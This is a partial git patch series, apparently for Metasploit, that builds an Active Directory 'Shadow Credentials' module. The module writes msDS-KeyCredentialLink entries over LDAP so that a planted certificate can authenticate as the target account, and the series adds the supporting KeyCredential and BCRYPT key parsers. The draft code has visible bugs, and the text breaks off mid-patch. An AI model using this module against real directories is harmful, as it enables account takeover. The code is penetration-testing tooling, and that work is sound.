From e803be425f64055efe5882abb2fa299d4806ab42 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 27 Mar 2024 16:04:16 +1100 Subject: [PATCH 01/14] Initial work on shadow credentials --- lib/rex/proto/ms_adts/key_credential.rb | 119 ++++++++++++++++++ .../ms_adts/key_credential_entry_struct.rb | 14 +++ .../proto/ms_adts/key_credential_struct.rb | 14 +++ .../rex/proto/ms_adts/key_credential_spec.rb | 30 +++++ 4 files changed, 177 insertions(+) create mode 100755 lib/rex/proto/ms_adts/key_credential.rb create mode 100755 lib/rex/proto/ms_adts/key_credential_entry_struct.rb create mode 100755 lib/rex/proto/ms_adts/key_credential_struct.rb create mode 100755 spec/lib/rex/proto/ms_adts/key_credential_spec.rb diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb new file mode 100755 index 000000000000..62e025a1bd85 --- /dev/null +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -0,0 +1,119 @@ +require 'securerandom' +require 'pry-byebug' + +module Rex::Proto::MsAdts + class KeyCredential + + KEY_USAGE_NGC = 0x01 + KEY_USAGE_FIDO = 0x07 + KEY_USAGE_FIDO = 0x08 + + def init(key_material, key_usage, last_logon_time, creation_time) + self.key_material = key_material + self.key_usage = key_usage + + calculate_raw_key_material + + self.key_approximate_last_logon_time_stamp + self.key_creation_time = creation_time + + self.key_source = 0 + self.device_id = SecureRandom.uuid + self.custom_key_information = "\x01\x00" # Version and flags + sha256 = OpenSSL::Digest.new('SHA256') + self.key_id = sha256.digest(self.raw_key_material.to_der) + end + + # Creates a KeyCredentialStruct, including calculating the value for key_hash + def to_struct + result = KeyCredentialStruct.new + add_entry(result, 3, self.raw_key_material) + add_entry(result, 4, [self.key_usage].pack('C')) + add_entry(result, 5, [self.key_source].pack('C')) + add_entry(result, 6, self.device_id) + add_entry(result, 7, self.custom_key_information) + add_entry(result, 8, RubySMB::Field::FileTime.new(self.key_approximate_last_logon_time_stamp).to_binary_s) + add_entry(result, 9, RubySMB::Field::FileTime.new(self.key_creation_time).to_binary_s) + + calculate_key_hash + + add_entry(result, 1, self.key_id, insert_at_end: false) + add_entry(result, 2, self.key_hash, insert_at_end: false) + end + + + def self.from_struct(cred_struct) + obj = KeyCredential.new + obj.key_id = get_entry(cred_struct, 1) + obj.key_hash = get_entry(cred_struct, 2) + obj.raw_key_material = get_entry(cred_struct, 3) + abc = get_entry(cred_struct, 4) + obj.key_usage = get_entry(cred_struct, 4).unpack('C')[0] + obj.key_source = get_entry(cred_struct, 5).unpack('C')[0] + obj.device_id = get_entry(cred_struct, 6) + obj.custom_key_information = get_entry(cred_struct, 7) + ft = get_entry(cred_struct, 8).unpack('Q')[0] + obj.key_approximate_last_logon_time_stamp = RubySMB::Field::FileTime.new(ft).to_time + ft = get_entry(cred_struct, 9).unpack('Q')[0] + obj.key_creation_time = RubySMB::Field::FileTime.new(ft).to_time + + construct_cert_from_raw_material(obj) + + obj + end + + # Properties + attr_accessor :key_id # SHA256 hash of KeyMaterial + attr_accessor :key_hash # SHA256 hash of all entries after this entry + attr_accessor :key_material # Key material of the credential + attr_accessor :raw_key_material # Key material of the credential + attr_accessor :key_usage # Enumeration + attr_accessor :key_source # Always KEY_SOURCE_AD (0) + attr_accessor :device_id # Identifier for this credential + attr_accessor :custom_key_information # Two bytes is fine: Version and Flags + attr_accessor :key_approximate_last_logon_time_stamp # Approximate time this key was last used + attr_accessor :key_creation_time # Approximate time this key was created + + def self.get_entry(struct, identifier) + struct.credential_entries.each do |entry| + if entry.identifier == identifier + return entry.data + end + end + end + + private + + def add_entry(struct, identifier, data, insert_at_end: true) + entry = KeyCredentialEntryStruct.new + entry.identifier = identifier + entry.data = data + entry.struct_length = data.length + if insert_at_end + struct.credential_entries.append(entry) + else # Insert at start + struct.credential_entries.insert(0, entry) + end + end + + # Sets self.key_hash based on the credential_entries value in the provided parameter + # @param struct [KeyCredentialStruct] Its entries value should have only those required to calculate the key_hash value (no key_id or key_hash) + def calculate_key_hash(struct) + sha256 = OpenSSL::Digest.new('SHA256') + self.key_hash = sha256.digest(struct.entries.to_binary_s) + end + + # Sets self.raw_key_material, based on the key material, and the key usage + def calculate_raw_key_material + case self.key_usage + when + end + end + + def self.construct_cert_from_raw_material(obj) + case obj.key_usage + when 1 + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/ms_adts/key_credential_entry_struct.rb b/lib/rex/proto/ms_adts/key_credential_entry_struct.rb new file mode 100755 index 000000000000..b6eadf5e21b6 --- /dev/null +++ b/lib/rex/proto/ms_adts/key_credential_entry_struct.rb @@ -0,0 +1,14 @@ + +# -*- coding: binary -*- + +require 'bindata' + +module Rex::Proto::MsAdts + class KeyCredentialEntryStruct < BinData::Record + endian :little + + uint16 :struct_length + uint8 :identifier + string :data, length: :struct_length + end +end diff --git a/lib/rex/proto/ms_adts/key_credential_struct.rb b/lib/rex/proto/ms_adts/key_credential_struct.rb new file mode 100755 index 000000000000..516516d19309 --- /dev/null +++ b/lib/rex/proto/ms_adts/key_credential_struct.rb @@ -0,0 +1,14 @@ +# -*- coding: binary -*- + +require 'bindata' +require 'rex/proto/ms_adts/key_credential_entry_struct' + +module Rex::Proto::MsAdts + class KeyCredentialStruct < BinData::Record + endian :little + + uint32 :version + + array :credential_entries, type: :key_credential_entry_struct, read_until: :eof + end +end diff --git a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb new file mode 100755 index 000000000000..6b66ae24c211 --- /dev/null +++ b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb @@ -0,0 +1,30 @@ +require 'rex/proto/ms_adts/key_credential' +require 'pry-byebug' + +RSpec.describe Rex::Proto::MsAdts::KeyCredentialStruct do + subject(:object) { described_class.new } + + let(:credential_struct) do + raw = ["00020000200001767b3c80129f41b40503d78436c1c2084c2b79dd81ac19" + +"545eaa09a0b1448b41200002508e0ee3afa57294951857688e9a548d3a1f" + +"bfc6f74c1df91f1bf6ef994ca1fe1b010352534131000800000300000000" + +"0100000000000000000000010001edcb08aca75908258e2157dca5ef2679" + +"90204502a4119482fa2eca16a4134d4a5dbf6eec9771732e1196ee490246" + +"88dfbe51905343fb85a946b82e76a0e9b720d16c576f6b51a930ab69d134" + +"48ac0f5a2722b00559eb25a8359f9b0d00fc52f9fc44f84d0dfb15d45d3c" + +"af9c98ff7f0258867855916aa42d36042dc365717257be6f076cbc6ee282" + +"14ab653860d18778fc45b9bb5c6f9b31d9b166a9000332d0c486f0d09a63" + +"ffdd9e6d9cdbe89f6bd8c79b69d90d133d9eb8893999628bcddd107876c1" + +"b025872ba6657ecf92b673e24ee4f6eabc52c0f5907ec4cf57627a12752e" + +"587499893aae1bff5461f4d55e025d1ff7646baaf1b6500f6e2493174a79" + +"010004010100050010000695c280f0bc6f290e4c8b6ad1d1b3545c020007" + +"0100080008ecab5af7ce7fda01080009ecab5af7ce7fda01"].pack('H*') + Rex::Proto::MsAdts::KeyCredentialStruct.read(raw) + end + + it 'reads correctly' do + expect(credential_struct).to be_a Rex::Proto::MsAdts::KeyCredentialStruct + credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct) + binding.pry + end +end From 8800a74b2756d54aff375926d7d2cbc68daba39a Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Thu, 28 Mar 2024 14:31:50 +1100 Subject: [PATCH 02/14] Wrap credential struct with nicer API --- lib/rex/proto/bcrypt_public_key.rb | 22 +++++ lib/rex/proto/ms_adts/key_credential.rb | 93 ++++++++++++++----- .../rex/proto/ms_adts/key_credential_spec.rb | 34 ++++--- 3 files changed, 110 insertions(+), 39 deletions(-) create mode 100755 lib/rex/proto/bcrypt_public_key.rb diff --git a/lib/rex/proto/bcrypt_public_key.rb b/lib/rex/proto/bcrypt_public_key.rb new file mode 100755 index 000000000000..775eada77e08 --- /dev/null +++ b/lib/rex/proto/bcrypt_public_key.rb @@ -0,0 +1,22 @@ +# -*- coding: binary -*- + +require 'bindata' + +module Rex::Proto + class BcryptPublicKey < BinData::Record + endian :little + + uint32 :magic + uint32 :key_length, :value => lambda { exponent.length + modulus.length + prime1.length + prime2.length } + uint32 :exponent_length, :value => lambda { exponent.length } + uint32 :modulus_length, :value => lambda { modulus.length } + uint32 :prime1_length, :value => lambda { prime1.length } + uint32 :prime2_length, :value => lambda { prime2.length } + + string :exponent, :read_length => :exponent_length + string :modulus, :read_length => :modulus_length + string :prime1, :read_length => :prime1_length + string :prime2, :read_length => :prime2_length + end +end + diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb index 62e025a1bd85..0194de66c0dc 100755 --- a/lib/rex/proto/ms_adts/key_credential.rb +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -8,37 +8,44 @@ class KeyCredential KEY_USAGE_FIDO = 0x07 KEY_USAGE_FIDO = 0x08 - def init(key_material, key_usage, last_logon_time, creation_time) - self.key_material = key_material + def initialize + self.key_source = 0 + self.device_id = SecureRandom.bytes(16) + self.custom_key_information = "\x01\x00" # Version and flags + end + + def set_key(public_key, key_usage) + self.public_key = public_key self.key_usage = key_usage calculate_raw_key_material + end - self.key_approximate_last_logon_time_stamp + def set_times(last_logon_time, creation_time) + self.key_approximate_last_logon_time_stamp = last_logon_time + self.key_approximate_last_logon_time_stamp_raw = RubySMB::Field::FileTime.new(self.key_approximate_last_logon_time_stamp).to_binary_s self.key_creation_time = creation_time - - self.key_source = 0 - self.device_id = SecureRandom.uuid - self.custom_key_information = "\x01\x00" # Version and flags - sha256 = OpenSSL::Digest.new('SHA256') - self.key_id = sha256.digest(self.raw_key_material.to_der) + self.key_creation_time_raw = RubySMB::Field::FileTime.new(self.key_creation_time).to_binary_s end # Creates a KeyCredentialStruct, including calculating the value for key_hash def to_struct result = KeyCredentialStruct.new + result.version = 0x200 add_entry(result, 3, self.raw_key_material) add_entry(result, 4, [self.key_usage].pack('C')) add_entry(result, 5, [self.key_source].pack('C')) add_entry(result, 6, self.device_id) add_entry(result, 7, self.custom_key_information) - add_entry(result, 8, RubySMB::Field::FileTime.new(self.key_approximate_last_logon_time_stamp).to_binary_s) - add_entry(result, 9, RubySMB::Field::FileTime.new(self.key_creation_time).to_binary_s) + add_entry(result, 8, self.key_approximate_last_logon_time_stamp_raw) + add_entry(result, 9, self.key_creation_time_raw) - calculate_key_hash + calculate_key_hash(result) - add_entry(result, 1, self.key_id, insert_at_end: false) add_entry(result, 2, self.key_hash, insert_at_end: false) + add_entry(result, 1, self.key_id, insert_at_end: false) + + result end @@ -52,10 +59,12 @@ def self.from_struct(cred_struct) obj.key_source = get_entry(cred_struct, 5).unpack('C')[0] obj.device_id = get_entry(cred_struct, 6) obj.custom_key_information = get_entry(cred_struct, 7) - ft = get_entry(cred_struct, 8).unpack('Q')[0] - obj.key_approximate_last_logon_time_stamp = RubySMB::Field::FileTime.new(ft).to_time - ft = get_entry(cred_struct, 9).unpack('Q')[0] - obj.key_creation_time = RubySMB::Field::FileTime.new(ft).to_time + ft = get_entry(cred_struct, 8) + obj.key_approximate_last_logon_time_stamp_raw = ft + obj.key_approximate_last_logon_time_stamp = RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time + ft = get_entry(cred_struct, 9) + obj.key_creation_time_raw = ft + obj.key_creation_time = RubySMB::Field::FileTime.new(ft.unpack('Q')[0]).to_time construct_cert_from_raw_material(obj) @@ -65,12 +74,14 @@ def self.from_struct(cred_struct) # Properties attr_accessor :key_id # SHA256 hash of KeyMaterial attr_accessor :key_hash # SHA256 hash of all entries after this entry - attr_accessor :key_material # Key material of the credential - attr_accessor :raw_key_material # Key material of the credential + attr_accessor :public_key # The public_key applied to the account + attr_accessor :raw_key_material # Key material of the credential, in bytes attr_accessor :key_usage # Enumeration attr_accessor :key_source # Always KEY_SOURCE_AD (0) attr_accessor :device_id # Identifier for this credential attr_accessor :custom_key_information # Two bytes is fine: Version and Flags + attr_accessor :key_approximate_last_logon_time_stamp_raw # Raw bytes for approximate time this key was last used + attr_accessor :key_creation_time_raw # Raw bytes for approximate time this key was created attr_accessor :key_approximate_last_logon_time_stamp # Approximate time this key was last used attr_accessor :key_creation_time # Approximate time this key was created @@ -90,29 +101,63 @@ def add_entry(struct, identifier, data, insert_at_end: true) entry.data = data entry.struct_length = data.length if insert_at_end - struct.credential_entries.append(entry) + struct.credential_entries.insert(struct.credential_entries.length, entry) else # Insert at start struct.credential_entries.insert(0, entry) end end + def self.int_to_bytes(num) + str = num.to_s(16).rjust(2, '0') + + [str].pack('H*') + end + + def self.bytes_to_int(num) + num.unpack('H*')[0].to_i(16) + end + # Sets self.key_hash based on the credential_entries value in the provided parameter - # @param struct [KeyCredentialStruct] Its entries value should have only those required to calculate the key_hash value (no key_id or key_hash) + # @param struct [KeyCredentialStruct] Its credential_entries value should have only those required to calculate the key_hash value (no key_id or key_hash) def calculate_key_hash(struct) sha256 = OpenSSL::Digest.new('SHA256') - self.key_hash = sha256.digest(struct.entries.to_binary_s) + self.key_hash = sha256.digest(struct.credential_entries.to_binary_s) end # Sets self.raw_key_material, based on the key material, and the key usage def calculate_raw_key_material case self.key_usage - when + when KEY_USAGE_NGC + result = BcryptPublicKey.new + result.magic = 0x31415352 + n = int_to_bytes(self.public_key.n) + e = int_to_bytes(self.public_key.e) + result.exponent = e + result.modulus = n + result.prime1 = '' + result.prime2 = '' + + self.raw_key_material = result.to_binary_s end + sha256 = OpenSSL::Digest.new('SHA256') + self.key_id = sha256.digest(self.raw_key_material.to_der) end def self.construct_cert_from_raw_material(obj) case obj.key_usage - when 1 + when KEY_USAGE_NGC + result = Rex::Proto::BcryptPublicKey.read(obj.raw_key_material) + key = OpenSSL::PKey::RSA.new + exponent = OpenSSL::BN.new(bytes_to_int(result.exponent)) + modulus = OpenSSL::BN.new(bytes_to_int(result.modulus)) + if key.respond_to?(:set_key) + # Ruby 2.4+ + key.set_key(modulus, exponent, nil) + else + key.e = exponent + key.n = modulus + end + obj.public_key = key end end end diff --git a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb index 6b66ae24c211..a4ab337f42dd 100755 --- a/spec/lib/rex/proto/ms_adts/key_credential_spec.rb +++ b/spec/lib/rex/proto/ms_adts/key_credential_spec.rb @@ -4,27 +4,31 @@ RSpec.describe Rex::Proto::MsAdts::KeyCredentialStruct do subject(:object) { described_class.new } + let(:credential_str) do + ["00020000200001767b3c80129f41b40503d78436c1c2084c2b79dd81ac19" + + "545eaa09a0b1448b41200002508e0ee3afa57294951857688e9a548d3a1f" + + "bfc6f74c1df91f1bf6ef994ca1fe1b010352534131000800000300000000" + + "0100000000000000000000010001edcb08aca75908258e2157dca5ef2679" + + "90204502a4119482fa2eca16a4134d4a5dbf6eec9771732e1196ee490246" + + "88dfbe51905343fb85a946b82e76a0e9b720d16c576f6b51a930ab69d134" + + "48ac0f5a2722b00559eb25a8359f9b0d00fc52f9fc44f84d0dfb15d45d3c" + + "af9c98ff7f0258867855916aa42d36042dc365717257be6f076cbc6ee282" + + "14ab653860d18778fc45b9bb5c6f9b31d9b166a9000332d0c486f0d09a63" + + "ffdd9e6d9cdbe89f6bd8c79b69d90d133d9eb8893999628bcddd107876c1" + + "b025872ba6657ecf92b673e24ee4f6eabc52c0f5907ec4cf57627a12752e" + + "587499893aae1bff5461f4d55e025d1ff7646baaf1b6500f6e2493174a79" + + "010004010100050010000695c280f0bc6f290e4c8b6ad1d1b3545c020007" + + "0100080008ecab5af7ce7fda01080009ecab5af7ce7fda01"].pack('H*') + end let(:credential_struct) do - raw = ["00020000200001767b3c80129f41b40503d78436c1c2084c2b79dd81ac19" + -"545eaa09a0b1448b41200002508e0ee3afa57294951857688e9a548d3a1f" + -"bfc6f74c1df91f1bf6ef994ca1fe1b010352534131000800000300000000" + -"0100000000000000000000010001edcb08aca75908258e2157dca5ef2679" + -"90204502a4119482fa2eca16a4134d4a5dbf6eec9771732e1196ee490246" + -"88dfbe51905343fb85a946b82e76a0e9b720d16c576f6b51a930ab69d134" + -"48ac0f5a2722b00559eb25a8359f9b0d00fc52f9fc44f84d0dfb15d45d3c" + -"af9c98ff7f0258867855916aa42d36042dc365717257be6f076cbc6ee282" + -"14ab653860d18778fc45b9bb5c6f9b31d9b166a9000332d0c486f0d09a63" + -"ffdd9e6d9cdbe89f6bd8c79b69d90d133d9eb8893999628bcddd107876c1" + -"b025872ba6657ecf92b673e24ee4f6eabc52c0f5907ec4cf57627a12752e" + -"587499893aae1bff5461f4d55e025d1ff7646baaf1b6500f6e2493174a79" + -"010004010100050010000695c280f0bc6f290e4c8b6ad1d1b3545c020007" + -"0100080008ecab5af7ce7fda01080009ecab5af7ce7fda01"].pack('H*') + raw = credential_str Rex::Proto::MsAdts::KeyCredentialStruct.read(raw) end it 'reads correctly' do expect(credential_struct).to be_a Rex::Proto::MsAdts::KeyCredentialStruct credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct) - binding.pry + result = credential.to_struct.to_binary_s + expect(result).to eq credential_str end end From c55f8f20a87f27b3bd432e5d76a133c79801b6ca Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 2 Apr 2024 14:25:10 +1100 Subject: [PATCH 03/14] Add shadow credentials module --- lib/rex/proto/ldap/dn_binary.rb | 31 ++ lib/rex/proto/ms_adts/key_credential.rb | 10 +- .../admin/ldap/shadow_credentials.rb | 271 ++++++++++++++++++ 3 files changed, 307 insertions(+), 5 deletions(-) create mode 100755 lib/rex/proto/ldap/dn_binary.rb create mode 100755 modules/auxiliary/admin/ldap/shadow_credentials.rb diff --git a/lib/rex/proto/ldap/dn_binary.rb b/lib/rex/proto/ldap/dn_binary.rb new file mode 100755 index 000000000000..da55e68d8d2f --- /dev/null +++ b/lib/rex/proto/ldap/dn_binary.rb @@ -0,0 +1,31 @@ +module Rex + module Proto + module LDAP + class DnBinary + def initialize(dn, data) + self.dn = dn + self.data = data + end + + def self.decode(str) + groups = str.match(/B:(\d+):(([a-fA-F0-9]{2})*):(.*)/) + raise ArgumentError.new('Invalid DN Binary string') if groups.nil? + length = groups[1].to_i + raise ArgumentError.new('Invalid DN Binary string length') if groups[2].length != length + data = [groups[2]].pack('H*') + + DnBinary.new(groups[4], data) + end + + def encode + data_hex = self.data.unpack('H*')[0] + + "B:#{data_hex.length}:#{data_hex}:#{self.dn}" + end + + attr_accessor :data # Raw bytes + attr_accessor :dn # LDAP Distinguished name + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/ms_adts/key_credential.rb b/lib/rex/proto/ms_adts/key_credential.rb index 0194de66c0dc..3ee9a5bf684d 100755 --- a/lib/rex/proto/ms_adts/key_credential.rb +++ b/lib/rex/proto/ms_adts/key_credential.rb @@ -6,7 +6,7 @@ class KeyCredential KEY_USAGE_NGC = 0x01 KEY_USAGE_FIDO = 0x07 - KEY_USAGE_FIDO = 0x08 + KEY_USAGE_FEK = 0x08 def initialize self.key_source = 0 @@ -128,10 +128,10 @@ def calculate_key_hash(struct) def calculate_raw_key_material case self.key_usage when KEY_USAGE_NGC - result = BcryptPublicKey.new + result = Rex::Proto::BcryptPublicKey.new result.magic = 0x31415352 - n = int_to_bytes(self.public_key.n) - e = int_to_bytes(self.public_key.e) + n = self.class.int_to_bytes(self.public_key.n) + e = self.class.int_to_bytes(self.public_key.e) result.exponent = e result.modulus = n result.prime1 = '' @@ -140,7 +140,7 @@ def calculate_raw_key_material self.raw_key_material = result.to_binary_s end sha256 = OpenSSL::Digest.new('SHA256') - self.key_id = sha256.digest(self.raw_key_material.to_der) + self.key_id = sha256.digest(self.raw_key_material) end def self.construct_cert_from_raw_material(obj) diff --git a/modules/auxiliary/admin/ldap/shadow_credentials.rb b/modules/auxiliary/admin/ldap/shadow_credentials.rb new file mode 100755 index 000000000000..f9f8e23a3ed7 --- /dev/null +++ b/modules/auxiliary/admin/ldap/shadow_credentials.rb @@ -0,0 +1,271 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::LDAP + include Msf::Auxiliary::Report + + ATTRIBUTE = 'msDS-KeyCredentialLink'.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Shadow Credentials', + 'Description' => %q{ + This module can read and write the necessary LDAP attributes to configure a particular account with a + Key Credential Link. This allows weaponising write access to a user account by adding a certificate + that can subsequently be used to authenticate. In order for this to succeed, the authenticated user + must have write access to the target object (the object specified in TARGET_USER). + }, + 'Author' => [ + 'Elad Shamir', # Original research + 'smashery' # module author + ], + 'References' => [ + ['URL', 'https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab'], + ['URL', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials'] + ], + 'License' => MSF_LICENSE, + 'Actions' => [ + ['FLUSH', { 'Description' => 'Delete all certificate entries' }], + ['LIST', { 'Description' => 'Read all credentials associated with the account' }], + ['REMOVE', { 'Description' => 'Remove matching certificate entries from the account object' }], + ['ADD', { 'Description' => 'Add a credential to the account' }] + ], + 'DefaultAction' => 'LIST', + 'Notes' => { + 'Stability' => [], + 'SideEffects' => [CONFIG_CHANGES], # REMOVE, FLUSH, ADD all make changes + 'Reliability' => [] + } + ) + ) + + register_options([ + OptString.new('TARGET_USER', [ true, 'The target to write to' ]), + OptString.new('DEVICE_ID', [ false, 'The specific certificate ID to operate on' ], conditions: %w[ACTION == REMOVE]), + ]) + end + + def generate_key_and_cert(subject) + key = OpenSSL::PKey::RSA.new(2048) + cert = OpenSSL::X509::Certificate.new + cert.public_key = cert.public_key + cert.subject = OpenSSL::X509::Name.parse(subject) + + [key, cert] + end + + def fail_with_ldap_error(message) + ldap_result = @ldap.get_operation_result.table + return if ldap_result[:code] == 0 + + print_error(message) + # Codes taken from https://ldap.com/ldap-result-code-reference-core-ldapv3-result-codes + case ldap_result[:code] + when 1 + fail_with(Failure::Unknown, "An LDAP operational error occurred. The error was: #{ldap_result[:error_message].strip}") + when 16 + fail_with(Failure::NotFound, 'The LDAP operation failed because the referenced attribute does not exist.') + when 50 + fail_with(Failure::NoAccess, 'The LDAP operation failed due to insufficient access rights.') + when 51 + fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is too busy to perform the request.') + when 52 + fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is not currently available to process the request.') + when 53 + fail_with(Failure::UnexpectedReply, 'The LDAP operation failed because the server is unwilling to perform the request.') + when 64 + fail_with(Failure::Unknown, 'The LDAP operation failed due to a naming violation.') + when 65 + fail_with(Failure::Unknown, 'The LDAP operation failed due to an object class violation.') + end + + fail_with(Failure::Unknown, "Unknown LDAP error occurred: result: #{ldap_result[:code]} message: #{ldap_result[:error_message].strip}") + end + + def ldap_get(filter, attributes: []) + raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes).first + return nil unless raw_obj + + obj = {} + + obj['dn'] = raw_obj['dn'].first.to_s + unless raw_obj['sAMAccountName'].empty? + obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s + end + + unless raw_obj['ObjectSid'].empty? + obj['ObjectSid'] = Rex::Proto::MsDtyp::MsDtypSid.read(raw_obj['ObjectSid'].first) + end + + unless raw_obj[ATTRIBUTE].empty? + result = [] + raw_obj[ATTRIBUTE].each do |entry| + dn_binary = Rex::Proto::LDAP::DnBinary.decode(entry) + struct = Rex::Proto::MsAdts::KeyCredentialStruct.read(dn_binary.data) + result.append(Rex::Proto::MsAdts::KeyCredential.from_struct(struct)) + end + obj[ATTRIBUTE] = result + end + + obj + end + + def run + ldap_connect do |ldap| + validate_bind_success!(ldap) + + if (@base_dn = datastore['BASE_DN']) + print_status("User-specified base DN: #{@base_dn}") + else + print_status('Discovering base DN automatically') + + unless (@base_dn = discover_base_dn(ldap)) + print_warning("Couldn't discover base DN!") + end + end + @ldap = ldap + + target_user = datastore['TARGET_USER'] + obj = ldap_get("(sAMAccountName=#{target_user})", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE]) + if obj.nil? && !delegate_to.end_with?('$') + obj = ldap_get("(sAMAccountName=#{target_user}$)", attributes: ['sAMAccountName', 'ObjectSID', ATTRIBUTE]) + end + fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{delegate_to}") unless obj + + send("action_#{action.name.downcase}", obj) + end + rescue Net::LDAP::Error => e + print_error("#{e.class}: #{e.message}") + end + + def bytes_to_uuid(bytes) + # Convert each byte to a 2-digit hexadecimal string + hex_strings = bytes.bytes.map { |b| b.to_s(16).rjust(2, '0') } + + # Arrange the hex strings in the correct order for UUID format + uuid_parts = [ + hex_strings[0..3].reverse.join, # First 4 bytes (little-endian) + hex_strings[4..5].reverse.join, # Next 2 bytes (little-endian) + hex_strings[6..7].reverse.join, # Next 2 bytes (little-endian) + hex_strings[8..9].join, # Next 2 bytes (big-endian) + hex_strings[10..15].join # Last 6 bytes (big-endian) + ] + + # Join the parts with hyphens to form the complete UUID + uuid = uuid_parts.join('-') + + return uuid + end + + def action_list(obj) + credential_entries = obj[ATTRIBUTE] + if credential_entries.nil? + print_status("The #{ATTRIBUTE} field is empty.") + return + end + print_status('Existing credentials:') + credential_entries.each do |credential| + print_status("DeviceID: #{bytes_to_uuid(credential.device_id)} - Created #{credential.key_creation_time}") + end + end + + def action_remove(obj) + credential_entries = obj[ATTRIBUTE] + if credential_entries.nil? || credential_entries.empty? + print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.") + return + end + + length_before = credential_entries.length + credential_entries.delete_if { |entry| entry.device_id == datastore['DEVICE_ID'] } + if credential_entries.length == length_before + print_status('No matching entries found - check device ID') + else + update_list = credentials_to_ldap_format(credential_entries, obj['dn']) + unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list) + fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.") + end + print_good("Deleted entry with device ID #{datastore['DEVICE_ID']}") + end + end + + def action_flush(obj) + unless obj[ATTRIBUTE] + print_status("The #{ATTRIBUTE} field is empty. No changes are necessary.") + return + end + + unless @ldap.delete_attribute(obj['dn'], ATTRIBUTE) + fail_with_ldap_error("Failed to deleted the #{ATTRIBUTE} attribute.") + end + + print_good("Successfully deleted the #{ATTRIBUTE} attribute.") + end + + def action_add(obj) + credential_entries = obj[ATTRIBUTE] + if credential_entries.nil? + credential_entries = [] + end + key, cert = generate_key_and_cert + credential = Rex::Proto::MsAdts::KeyCredential.new + credential.set_key(key.public_key, Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC) + now = ::Time.now + credential.set_times(now, now) + credential_entries.append(credential) + update_list = credentials_to_ldap_format(credential_entries, obj['dn']) + + unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, update_list) + fail_with_ldap_error("Failed to update the #{ATTRIBUTE} attribute.") + end + + print_good("Successfully updated the #{ATTRIBUTE} attribute.") + end + + def store_cert(pkcs12) + service_data = ldap_service_data + credential_data = { + **service_data, + address: service_data[:host], + port: rport, + protocol: service_data[:proto], + service_name: service_data[:name], + workspace_id: myworkspace_id, + username: datastore['USERNAME'], + private_type: :pkcs12, + # pkcs12 is a binary format, but for persisting we Base64 encode it + private_data: Base64.strict_encode64(pkcs12.to_der), + origin_type: :service, + module_fullname: fullname + } + create_credential(credential_data) + + stored_path = store_loot('windows.shadowcreds', 'application/x-pkcs12', rhost, pkcs12.to_der, 'certificate.pfx', info) + print_status("Certificate stored at: #{stored_path}") + end + + def ldap_service_data + { + host: rhost, + port: rport, + proto: 'tcp', + name: 'ldap', + info: "Module: #{fullname}, #{datastore['LDAP::AUTH']} authentication" + } + end + + def credentials_to_ldap_format(entries, dn) + entries.map do |entry| + struct = entry.to_struct + dn_binary = Rex::Proto::LDAP::DnBinary.new(dn, struct.to_binary_s) + + dn_binary.encode + end + end +end From b6acf708f391162e988848178bb2ef77787d5eb0 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 2 Apr 2024 15:29:47 +1100 Subject: [PATCH 04/14] Alias get_ticket to pkinit, since many people will search for that --- modules/auxiliary/admin/kerberos/get_ticket.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/admin/kerberos/get_ticket.rb b/modules/auxiliary/admin/kerberos/get_ticket.rb index 86d7c8d8b3f9..a2314a4267d7 100644 --- a/modules/auxiliary/admin/kerberos/get_ticket.rb +++ b/modules/auxiliary/admin/kerberos/get_ticket.rb @@ -38,7 +38,8 @@ def initialize(info = {}) [ 'GET_TGS', { 'Description' => 'Request a Ticket-Granting-Service (TGS)' } ], [ 'GET_HASH', { 'Description' => 'Request a TGS to recover the NTLM hash' } ] ], - 'DefaultAction' => 'GET_TGT' + 'DefaultAction' => 'GET_TGT', + 'AKA' => ['PKINIT'] ) ) From 1b92d3b11095087ede2905416bef20321bfd79e1 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 3 Apr 2024 12:19:47 +1100 Subject: [PATCH 05/14] Working writing of certs over ldap --- lib/rex/proto/bcrypt_public_key.rb | 2 +- lib/rex/proto/ms_adts/key_credential.rb | 5 +- .../admin/ldap/shadow_credentials.rb | 71 +++++++++++-------- 3 files changed, 44 insertions(+), 34 deletions(-) diff --git a/lib/rex/proto/bcrypt_public_key.rb b/lib/rex/proto/bcrypt_public_key.rb index 775eada77e08..df8cf7f3018b 100755 --- a/lib/rex/proto/bcrypt_public_key.rb +++ b/lib/rex/proto/bcrypt_public_key.rb @@ -7,7 +7,7 @@ class BcryptPublicKey < BinData::Record endian :little uint32 